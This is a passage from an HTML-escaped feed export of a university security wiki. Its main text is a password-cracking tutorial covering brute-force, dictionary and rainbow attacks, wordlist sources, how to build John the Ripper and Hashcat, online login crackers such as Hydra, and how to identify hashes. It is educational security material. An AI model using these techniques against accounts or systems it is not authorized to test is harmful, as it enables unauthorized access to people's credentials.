* [[WPA/WPA2 PSK deauthentication attack]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;hr&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Examinations&amp;lt;/h3&amp;gt;&lt;br /&gt;
* Examination of Edimax home devices&lt;br /&gt;
* Examination of LUPUS-Electronics devices&lt;br /&gt;
* Examination of mydlink™ home devices&lt;br /&gt;
* Examination of YAMAHA MusicCast devices&lt;br /&gt;
* Examination of Technaxx devices&lt;br /&gt;
* Examination of TP-Link devices&lt;br /&gt;
* Examination of iSmartAlarm devices&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;hr&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Privacy&amp;lt;/h3&amp;gt;&lt;br /&gt;
* [[Remove unnecessary Metadata from Files]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;hr&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Tools&amp;lt;/h3&amp;gt;&lt;br /&gt;
* [[HNAP0wn: The Home Network Administration Protocol Owner]]&lt;/div&gt;</summary>
		<author><name>JPDoe</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Password_Cracking&amp;diff=4639</id>
		<title>Password Cracking</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Password_Cracking&amp;diff=4639"/>
		<updated>2020-10-16T13:11:45Z</updated>

		<summary type="html">&lt;p&gt;JPDoe: Minor: Moved Section &amp;quot;Wordlist&amp;quot; before &amp;quot;Tools&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;!--&lt;br /&gt;
TODO:&lt;br /&gt;
- Explain salt and pepper&lt;br /&gt;
- Improve hashcat section&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;max-width: 970px; text-align: justify&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-weight: normal;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Table of Contents&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
__TOC__&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;Summary&amp;lt;/h1&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;This articles provides the required knowledge in the field of &amp;lt;i&amp;gt;key recovery&amp;lt;/i&amp;gt;. It gives the reader a brief [[#Introduction|introduction]] to password cracking in general. It also provides [[#Background|background]] information about common [[#Password Attacks|password attacks]], [[#Attack Modes|attack modes]] and cracking [[#Miscellaneous Tools|tools]]. The article goes into more detail about the popular tools [[#John the Ripper|John the Ripper]] and [[#Hashcat|Hashcat]]. Furthermore presenting a [[#Procedure|general guideline]] for offline password cracking. See also [[#Related|Related Articles]]. [[Acquisition and Cracking of macOS User Passwords]] or [[WPA/WPA2 PSK deauthentication attack]] may be used as an hands-on example.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;Introduction&amp;lt;/h1&amp;gt;&lt;br /&gt;
Password cracking or Password recovery is used in IT-Security and Cryptanalysis to recover passwords or digital keys in general, which are the most critical part of a digital identity that is associated with a specific service. To acquire such digital keys, common Password Attacks are employed to infer the corresponding key. Other techniques, like social engineering or dumpster diving, are also possible in some scenarios. Keys are unspaced sets of characters that allow to authenticate against a given security mechanism in order to gain access to data, programs, or secured systems. However, these techniques could also be used to gain unauthorized access to a remote system.&lt;br /&gt;
&lt;br /&gt;
Once a key has been recovered, it can subsequently be used to undermine a digital authentication process, which provides privacy protection by mitigating risks of unauthorized access to individuals’ information. In other words, a key must be kept secret by a claimant, humanoid or not, while the verifier confirms the claimant’s identity. Additionally, choosing a strong password is crucial to prevent cracking and render recovery impossible. Furthermore, a Multi-factor (MFA) or Two-factor authentication (2FA) is recommended, since a claimant has to provide more factors to the verifier than just one key, which are something the claimant knows (knowledge), has (possession) or is (inherence), whereby a password recovery becomes pointless without knowing of the factors possession or inherence. [P1]&lt;br /&gt;
&lt;br /&gt;
It should be noted that keys can be available in various forms. On the one hand, clear-text passwords can be transmitted over the network or stored locally, which then only needs to be intercepted or found. On the other hand, passwords can also appear in encoded, hashed or obfuscated forms. The latter differs in that the obfuscated password is brought back to its original form with the appropriate reverse algorithm. In contrast, a hashed password benefits from the one-way properties of the algorithm used and can only be concluded by hashing guessed password repeatedly and comparing them to the target hash until the original password or any rare hash collision has been found. In the following, only hashed keys are treated.&lt;br /&gt;
&lt;br /&gt;
In order to be able to conclude on the original keys, high computing power is needed. Calculations can be done either by using CPUs with a small number of cores that have been developed for the sequential execution of processes. Alternatively, by using GPUs, which have a very high number of cores working in parallel, making them theoretically ideal for password cracking. The time to crack a password depends on its entropy, measured by the bit strength of a password and as well as the password length forming the target keyspace.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;Background&amp;lt;/h1&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Password Attacks&amp;lt;/h2&amp;gt;&lt;br /&gt;
Password attacks can be performed in two ways. On the one hand, in the case of online attacks, designated system interfaces are used to try out passwords and, on the other hand, offline attacks in which hashed passwords were obtained via other channels and then processed locally at any time. Online attacks are much slower because the calculations are performed by the target, while the latency of the network link also plays an important role. Furthermore, such attacks could be detected and prevented by the attacked systems. Examples would be attacks on SSH or any web-based login form. On the other hand, offline attacks can no longer be detected after the hashes have been obtained and can be carried out highly effective since only hashes are calculated and compared here, but no further communication or processes between systems or the like are required.&lt;br /&gt;
&lt;br /&gt;
As it is common in most areas of life, there is not only black and white but also the grey zone in between. For this reason, it should be noted that there are also non-electronic attacks on passwords, such as dumpster diving or social engineering. But also more drastic but highly effective ways like Coercion by the government or Rubber-hose cryptanalysis (torture) can be taken, in which the human factor as the weakest link in the chain is attacked. This work is focused on offline attacks, and no human nor animal has been harmed during this work. See also [[Password Security]].&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Attack Modes&amp;lt;/h2&amp;gt;&lt;br /&gt;
The following paragraphs present the most common modes used with password attacks.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Brute-force&amp;lt;/b&amp;gt; attacks try all possible passwords until the right one is found. Such password crackers generate and hash in the worst case every possible password in the keyspace, while none of these intermediate results are stored. Every hashed password is compared to the target hash on the fly until a match, and thus also a valid password has been found. This may be the original password or any rare hash collision. The success probability is given if the target password is in the known keyspace. However, for this attack, an extremely high computing power is needed to reach the target in a reasonable time.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Dictionary&amp;lt;/b&amp;gt; attacks are a special kind of a brute force attack where the keyspace is restricted by using a dictionary (aka. wordlist). These wordlists usually contain common passwords grouped by specific criteria, which are then processed by crackers in sequence. The advantage is that one can quickly cover the most common passwords, so that these kinds of attacks are very effective, as many users use common weak passwords which are easy to remember. This can easily be fought by using passwords without underlying semantics. The best-known wordlist is the rockyou.txt, which contains 32 million passwords. Its content originates from a data leak of the company RockYou from the year 2009, who stored their passwords in clear-text.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Rainbow&amp;lt;/b&amp;gt; attacks are just a more specialized form of dictionary attack, where pre-computed hashes are stored in so-called rainbow tables. This serves as a lookup table to invert a certain hash function. This variant results in a time-memory trade-off, where the process is faster since only comparison operations have to be performed, but this is only effective if the rainbow-table is stored in RAM, furthermore rainbow-tables take up more space on the hard disk than wordlists. The use of a key derivation function that uses a salt makes this attack infeasible.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Hybrid&amp;lt;/b&amp;gt; attacks combine brute force and dictionary attack by appending or prefixing each entry of a wordlist with all permutations of the brute force keyspace. It is a great method if the format of a password ist known. An example would be the use of the word ’password’ combined with all numbers from 0 to 9999. This is also very useful with usernames of com- panies using simple rules like an identifying string combined with an incrementing number. (e.g. Pass1234)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Rule-based&amp;lt;/b&amp;gt; attacks use methods to change passwords to cover all variants. It is a very flexible and efficient attack, but also very complicated to cover all desired cases. Ideal if the password requirements for a system are known, since passwords shall be easy to remember while being secure at the same time, many users use common passwords and modify them in a way that they match the password policy. (e.g. ’P@ssw0rD’)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Syllable&amp;lt;/b&amp;gt; attacks are again a combination of brute force and dictionary attack in which all permutations of each word within a wordlist are checked. This is used when the password is not a real word and is often better than pure brute-forcing.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Other&amp;lt;/b&amp;gt; attacks, like Combinator, Fingerprint, Mask, Toggle-Case, Permutation, Table- Lookup, PRINCE may be similar to the ones noted above and shall be mentioned but are not covered in any detail here.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Wordlists&amp;lt;/h2&amp;gt;&lt;br /&gt;
Wordlist aka. dictionary attacks are often the first step to take when cracking passwords, since most users use common passswords or mutations of those. Besides the classic &amp;lt;code&amp;gt;rockyou.txt&amp;lt;/code&amp;gt;, there are tons of wordlists for different use cases. For this purpose [https://weakpass.com weakpass.com] may be used used, which offers a great collection. Based on GeForce GTX 1060 6GB benchmark and [https://www.netmux.com/ Hash Crack] by [https://twitter.com/netmux Netmux], the following table can be mostly been respected as general guideline to select worldlists for initial runs. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;card-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;table-container&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;table class=&amp;quot;wikitable&amp;quot; style=&amp;quot;background-color: white; margin-left: 0px; width: 100%&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;th&amp;gt;Example Hashtype&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;th&amp;gt;Avg Speed&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;th&amp;gt;~10 min&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;th&amp;gt;~1 hour&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;th&amp;gt;~3-4 hours&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;MD5, NTLM, SHA(1-256), MySQL&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;&amp;gt;5000 MH/s&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;[https://weakpass.com/wordlist/1851 hashesorg2019]&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;[https://weakpass.com/wordlist/1863 weakpass_2]&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;[https://weakpass.com/wordlist/1919 weakpass_2a]&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;md5apr1, md5crypt&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;5000 kH/s&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;[https://weakpass.com/wordlist/1851 hashesorg2019]&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;[https://weakpass.com/wordlist/1863 weakpass_2]&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;[https://weakpass.com/wordlist/1919 weakpass_2a]&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;WPA/WPA2,sha256crypt&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;200 kH/s&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;[https://weakpass.com/wordlist/1256 hk_hlm_founds.txt]&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;[https://weakpass.com/wordlist/1802 HashesOrg]&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;[https://weakpass.com/wordlist/1851 hashesorg2019]&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;PBKDF2, bcrypt, sha512crypt&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;&amp;lt;5 kH/s&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;[https://weakpass.com/wordlist/545 dazzlepod]&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;[https://weakpass.com/wordlist/90 rockyou.txt]&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;[https://weakpass.com/wordlist/1256 hk_hlm_founds.txt]&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Wordlist can also be created using web scraper, like the [https://github.com/digininja/cewl Custom Wordlist Generator] (&amp;lt;code&amp;gt;CeWL&amp;lt;/code&amp;gt;). Alternatively &amp;lt;code&amp;gt;john&amp;lt;/code&amp;gt; can be used to create wordlists. In the following examples the rules single and wordlist are used to generate all possible mutations and permutations from a source wordlist.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;john -wordlist=&amp;quot;source_wordlist.txt&amp;quot; -rules=Single,Wordlist -stdout &amp;gt; &amp;quot;single_wordlist.txt&amp;quot;&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;John the Ripper&amp;lt;/h2&amp;gt;&lt;br /&gt;
&lt;br /&gt;
John the Ripper acronyms for John or JtR is a popular open-source password cracker from the Openwall developers. Historically, the main use has been to find weak UNIX passwords. To this day, john has been evolved to be fast and rich in features. John has the ability to recognize password hash types and supports multiple cracking modes, but it is mostly used for dictionary-style or incremental brute-forcing attacks. It should be noted that john even provides the ability to define custom cracking modes using a built-in C compiler. The developers provide additional variants like a commercial John the Ripper Pro version and Hash Suite, which is recommended when using Android or Windows. Besides the above-mentioned programs, there is also a graphical version of John named [https://openwall.info/wiki/john/johnny Johnny], for those who are not friends of the console, that is available for Linux, macOS, and Windows.&lt;br /&gt;
&lt;br /&gt;
Furthermore John offers some support for CUDA and OpenCL [https://openwall.info/wiki/john/GPU GPUs]. Whereas, CUDA is a parallel computing platform and programming model developed by NVIDIA for general computing on graphical processing units (GPUs). With CUDA, developers are able to dramatically speed up computing applications by harnessing the power of GPUs. OpenCL (Open Computing Language), on the other hand, is a low-level API for heterogeneous computing that runs on CUDA-powered GPUs. Using the OpenCL API, developers can launch compute kernels written using a limited subset of the C programming language on a GPU. [W7] No official numbers have been found regarding the number of supported hash algorithms for john, but there are over 2000 difference algorithms included in the jumbo version. Many of the algorithms under john are combinations of algorithms. These combinations are identified by the foreword dynamic_ and a subsequent number. Such combinations only appear in the jumbo version and have been added by the community.&lt;br /&gt;
&lt;br /&gt;
Implementations exist for many UNIX-based systems such as Linux, macOS, Android, and Solaris, as well as for Windows. But also for more exotic devices running under DOS, BeOS, or OpenVMS. The resources are provided as pre-compiled binaries or as source code. The latter can then be adapted as desired and compiled for a specific system. A basic version of John can be installed using package managers such as apt, pkg, or snap. However, it is recommended to choose the community enhanced-jumbo version, which offers support for a variety of additional password hash types as well as non-hashes like SSH private keys, RAR archives, or PDF files. The following listing provides the necessary steps to clone and build latest bleeding-edge Jumbo version of John on most UNIX-based system. Source files for all versions could also be downloaded from [https://download.openwall.net/pub/projects/john/ Openwall.net]. See also [[Password cracking on Android]].&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Clone GIT repository&lt;br /&gt;
git clone git://github.com/magnumripper/JohnTheRipper -b bleeding-jumbo john 3 &lt;br /&gt;
# Build&lt;br /&gt;
cd ./john/src &amp;amp;&amp;amp; ./configure &amp;amp;&amp;amp; make -s clean &amp;amp;&amp;amp; make -sj4&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Hashcat&amp;lt;/h2&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Hashcat is yet another very popular cross-platform cracking tool, whose developers claim to have developed the world’s fastest and most advanced open-source password recovery utility. Since [https://hashcat.net/wiki/ Hashcat] version 3, the old CPU-based hashcat-legacy and GPU-based oclHashcat have been merged. The tool allows to use all OpenCL compatible processors of the same device in parallel and even work distributed over the network. Hashcat supports five unique attack modes for more than 200 highly optimized hash algorithms. &lt;br /&gt;
&lt;br /&gt;
Hashcat currently supports CPUs, GPUs, and other hardware accelerators such as DSPs, FPGAs, and co-processors in Linux, Windows, and macOS, as well as distributed password decryption functions. Almost all of this information and much more can be found on the Hashcat man page, which is one of the best that I have seen so far. Hashcat can be downloaded via package manager like `apt` under Linux or `brew` on macOS. But here it is recommended to download the source files again and build it manually. Compared to john, however, fewer platforms are supported here. The processors available for each platform can be listed using the `-I` or `–opencl-info` flag. These may need the corresponding drivers for Intel, AMD, or NVIDIA to be addressed correctly. This process will not be successful on every platform.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Clone GIT repository&lt;br /&gt;
git clone https://github.com/hashcat/hashcat.git&lt;br /&gt;
# Build&lt;br /&gt;
cd ./hashcat &amp;amp;&amp;amp; make &amp;amp;&amp;amp; make install&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Miscellaneous Tools&amp;lt;/h2&amp;gt;&lt;br /&gt;
&lt;br /&gt;
There is no black and white, and all tools have their strengths as well as their weaknesses. Also, combinations between some are quite useful. This section consists mostly of descriptions of the individual developers as they can best introduce themselves and as this section is only intended to introduce further tools. Written-off paragraphs are marked with a footnote. Here the Kali Linux knowledge-base [W2] has been referenced, which in turn refer to the developers’ websites and Github repositories, as well as giving short usage examples. The following examples have been selected by versatility and range of application to present other great tools besides Hashcat and John. aircrack-ng suite to analyze and attack wireless networks. THC-Hydra, an online login cracker and the alternative ncrack for our nmap lovers, Medusa is be the third in line. WFuzz, the web application cracker and last but not least RainbowCrack which uses rainbow tables to crack passwords.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Aircrack-ng&amp;lt;/h3&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[https://tools.kali.org/wireless-attacks/aircrack-ng Aircrack-ng] is an 802.11 Wired Equivalent Privacy (WEP) and Wifi Protected Access pre-shared key (WPA-PSK) cracking program that can recover keys once enough data packets have been captured. It implements the standard Fluhrer, Mantin, and Shamir (FMS) attack along with some optimizations like KoreK attacks, as well as the all-new Pychkine-Tews-Weinmann (PTW) attack, thus making the attack much faster compared to other WEP. However, Aircrack-ng is much more than just a cracking program. &lt;br /&gt;
&lt;br /&gt;
The developers offer a versatile application suite for analyzing and attacking wireless networks. `aerodump-ng` even makes it possible to capture packets in a wireless network, and then attack contained handshakes of a WPA/WPA2-PSK using Hashcat or John efficiently. See also [[WPA/WPA2 PSK deauthentication attack]].&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;THC Hydra&amp;lt;/h3&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[https://tools.kali.org/password-attacks/hydra THC Hydra] is a parallelized login cracker which supports numerous protocols to attack. It is very fast and flexible, and new modules are easy to add. This tool makes it possible for researchers and security consultants to show how easy it would be to gain unauthorized access to a system remotely.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;ncrack&amp;lt;/h3&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[https://tools.kali.org/password-attacks/ncrack Ncrack] is a high-speed network authentication cracking tool. It was designed using a modular approach, a command-line syntax similar to Nmap, and a dynamic engine that can adapt its behavior based on network feedback. It allows for rapid, yet reliable large-scale auditing of multiple hosts. Ncrack’s features include a very flexible interface granting the user full control of network operations, allowing for very sophisticated bruteforcing attacks, timing templates for ease of use, runtime interaction similar to Nmap’s, and many more. &lt;br /&gt;
&lt;br /&gt;
At this point should be noted that Nmap itself can be used for simple online attacks, by using the -script parameter with the desired script like telnet-brute.nse and the corresponding values for userdb and passwd with the additional parameter -script-args. See also [[Brute-Force with NMAP]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;WFuzz&amp;lt;/h3&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[https://tools.kali.org/web-applications/wfuzz Wfuzz] (the web fuzzer) is a tool designed for bruteforcing Web Applications, it can be used for finding resources not linked (directories, servlets, scripts, etc.), bruteforce GET and POST parameters for checking different kind of injections (SQL, XSS, LDAP,etc.), bruteforce Forms parameters (User/Password), Fuzzing, etc.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Rainbow Crack&amp;lt;/h3&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Hashcat nor john are capable of performing rainbow attacks. This is were [https://tools.kali.org/password-attacks/rainbowcrack RainbowCrack] comes into the game. An alternative tool to perform rainbow attacks is Ophcrack, a free Windows (LM and NTLM) password cracker which also provides a GUI, and WOphcrack, a PHP based web frontend for Ophcrack.&lt;br /&gt;
&lt;br /&gt;
RainbowCrack is a general propose implementation of Philippe Oechslin’s faster time-memory trade-off technique. It crack hashes with rainbow tables. RainbowCrack uses a time-memory tradeoff algorithm to crack hashes. A time-memory tradeoff hash cracker needs a pre-computation stage. At the time, all plaintext/hash pairs within the selected hash algorithm, charset, plaintext length are computed, and results are stored in files called rainbow table. It is time-consuming to do this kind of computation. But once the one-time pre-computation is finished, hashes stored in the table can be cracked with much better performance than a brute force cracker.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;Procedure&amp;lt;/h1&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This Chapter provides a basic guideline for offline password cracking. It is intended for scenarios, where the analysist is presented with a hashed password.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Identification&amp;lt;/h2&amp;gt;&lt;br /&gt;
&lt;br /&gt;
First, the according hashing algorithm must be identified. the In a nutshell there are there are three componenents used for manual hash identification:&lt;br /&gt;
&lt;br /&gt;
# &#039;&#039;&#039;Special Characters&#039;&#039;&#039;&lt;br /&gt;
# &#039;&#039;&#039;Character Set&#039;&#039;&#039;&lt;br /&gt;
# &#039;&#039;&#039;Length of the Hash&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
There are automated tools for the terminal or online that perform the identification based on HEX encoded hashes. But it is always only about guessing and probability, since f.e. cascaded algorithms cannot simply be identified. This should be used in combination with manual identification.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table style=&amp;quot;margin-left:15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;th&amp;gt; Offline &amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;hashid&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;hash-identifier&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;john&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table style=&amp;quot;margin-left: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;th&amp;gt; Online &amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;[https://md5hashing.net/hash_type_checker md5hashing.net]&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;[https://www.onlinehashcrack.com/hash-identification.php onlinehashcrack.com]&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;[https://hashes.com/en/tools/hash_identifier hashes.com]&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The passwords must first be sanitized and decoded, if necessary. The goal is to get a HEX string in the next step. &amp;lt;code&amp;gt;0x&amp;lt;/code&amp;gt; may be used to indicate HEX, but is not important and can be discarded. Furthermore the special characters &amp;lt;code&amp;gt;:&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;$&amp;lt;/code&amp;gt; are commonly used as delimiter between salt and digest and are not part of the charset. For all passwords which are not of the charset [a-fA-F0-9] a BASE64 encoding, with the charset [A-Za-z0-9+/], was used. Base{16,32,64} encoding is usually recognized quickly due to one or two trailing &amp;lt;code&amp;gt;=&amp;lt;/code&amp;gt;, which are used for padding. The Base{16,32,64} encoding format and charset is described in [https://www.rfc-editor.org/rfc/rfc4648.txt RFC4648]. In this scenario BASE64 and HEX encoding should be the only ones that are used. Mind the &amp;lt;code&amp;gt;-n&amp;lt;/code&amp;gt; with the &amp;lt;code&amp;gt;echo&amp;lt;/code&amp;gt; command in oder to supress adding a trailing &amp;lt;code&amp;gt;\n&amp;lt;/code&amp;gt;. The hashcat [https://hashcat.net/wiki/doku.php?id=example_hashes example hashes] or the &amp;lt;code&amp;gt;john --list=format-details&amp;lt;/code&amp;gt; can be used as a reference for manual identification. If there is information about the system that creates or uses the hashes, its documentation could be consulted. Below some helper commands for manual hash identification.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;# ASCII to Base64 &lt;br /&gt;
echo -n $STRING | base64 &lt;br /&gt;
# Base64 to ASCII &lt;br /&gt;
echo -n $BASE64 | base64 -d &lt;br /&gt;
# ASCII to HEX &lt;br /&gt;
echo -n $STRING | xxd -pu &lt;br /&gt;
# String length &lt;br /&gt;
echo -n $STRING | wc -c &lt;br /&gt;
# HEX encoded String bit length &lt;br /&gt;
echo $((`echo -n $HEX_ENCODED_STRING | wc -c` / 2)) &lt;br /&gt;
echo -n $HEX_ENCODED_STRING | perl -lpe &#039;$_=unpack&amp;quot;B*&amp;quot;&#039; | wc -c&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Cracking&amp;lt;/h2&amp;gt;&lt;br /&gt;
It is generally claimed that Hashcat is more performant than John the Ripper (john) and that Graphical Processing Units (GPU) can calculate more hashes per second than Central Processing Units (CPU). See also [[:File: Password_Cracking-Software_and_Hardware_Comparison-ITTK20-WS19.pdf|Password Cracking: Software and Hardware Comparison]]. John the Ripper has the ability to recognize password hash types and supports multiple cracking modes, but it is mostly used for dictionary-style or incremental brute-forcing attacks using the CPU. Hashcat is claimed to be the world’s fastest and most advanced open-source password recovery utility and supports five unique attack modes using GPUs, DSPs, FPGAs, and co-processors. The John jumbo edition supports way more hash types than hashcat (~2300 &amp;gt; ~200), while hashcat is highly optimized and may not run an any hardware and OS. Alternatively there are online lookup tables. However, this is useless for most slated hashes and advanced hashing algorithms. [[Acquisition and Cracking of macOS User Passwords]] or [[WPA/WPA2 PSK deauthentication attack]] may be used as an hands-on example.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table style=&amp;quot;margin-left: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;th&amp;gt; Offline &amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
